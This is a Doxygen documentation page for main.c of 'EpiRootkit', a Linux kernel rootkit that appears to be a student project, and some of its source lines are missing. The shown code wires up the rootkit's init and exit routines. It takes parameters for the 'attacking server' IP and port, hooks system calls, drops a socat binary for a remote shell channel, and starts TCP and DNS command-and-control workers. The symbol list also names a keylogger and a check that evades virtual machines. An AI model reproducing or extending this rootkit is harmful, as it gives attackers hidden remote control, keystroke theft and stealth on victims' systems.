EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
main.c
Go to the documentation of this file.
1#include "epirootkit.h"
2#include "init.h"
3#include "passwd.h"
4#include "vanish.h"
5
6char *ip = SERVER_IP;
8
9module_param(ip, charp, 0644);
10module_param(port, int, 0644);
11
12MODULE_PARM_DESC(ip, "IPv4 of attacking server");
13MODULE_PARM_DESC(port, "Port of attacking server");
14
21static int __init epirootkit_init(void) {
22 DBG_MSG("epirootkit_init: trying to load module...\n");
23
25 ERR_MSG("epirootkit_init: nooope, you should not pass\n");
26 return -FAILURE;
27 }
28
29 if (init_interceptor() != SUCCESS) {
30 ERR_MSG("epirootkit_init: failed to init interceptor\n");
31 return -FAILURE;
32 }
33
34 if (drop_socat_binaire() != SUCCESS) {
35 ERR_MSG("epirootkit_init: failed to drop socat binary\n");
36 return -FAILURE;
37 }
38
40 ERR_MSG("epirootkit_init: failed to start network worker\n");
41 return -FAILURE;
42 }
43
44 if (start_dns_worker() != SUCCESS) {
45 ERR_MSG("epirootkit_init: failed to start DNS worker\n");
46 ERR_MSG("epirootkit_init: rootkit will try to use tcp to communicate\n");
47 }
48
49 if (passwd_load() != SUCCESS) {
50 DBG_MSG("epirootkit_init: no password to load, using default\n");
51 }
52
53 DBG_MSG("epirootkit_init: module loaded (/^▽^)/\n");
54 return SUCCESS;
55}
56
62static void __exit epirootkit_exit(void) {
69
70 DBG_MSG("epirootkit_exit: module unloaded (/^▽^)/\n");
71}
72
75
76MODULE_LICENSE("GPL"); // Hmmmm...
77MODULE_AUTHOR("STDBOOL"); // Us
78MODULE_DESCRIPTION("EpiRootkit De La Mama"); // Need to change ?
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define SERVER_IP
Definition config.h:20
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define FAILURE
Definition config.h:6
#define VANISH
Definition config.h:69
#define SUCCESS
Definition config.h:5
#define SERVER_PORT
Definition config.h:21
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition epikeylog.c:363
int drop_socat_binaire(void)
Definition socat.c:32
int remove_socat_binaire(void)
Definition socat.c:72
void exit_interceptor(void)
Definition init.c:99
int init_interceptor(void)
Definition init.c:14
MODULE_AUTHOR("STDBOOL")
MODULE_DESCRIPTION("EpiRootkit De La Mama")
static void __exit epirootkit_exit(void)
Cleanup function called when the module is unloaded.
Definition main.c:62
MODULE_PARM_DESC(ip, "IPv4 of attacking server")
int port
Definition main.c:7
module_param(ip, charp, 0644)
MODULE_LICENSE("GPL")
module_exit(epirootkit_exit)
module_init(epirootkit_init)
static int __init epirootkit_init(void)
Initializes the epirootkit module.
Definition main.c:21
char * ip
Definition main.c:6
int start_network_worker(void)
Definition tcp/worker.c:161
int close_worker_socket(void)
Definition socket.c:43
int start_dns_worker(void)
Starts the DNS worker kernel thread.
Definition dns/worker.c:45
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
Definition dns/worker.c:72
int stop_network_worker(void)
Definition tcp/worker.c:185
int passwd_load(void)
Definition passwd.c:22
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
Definition vanish.c:55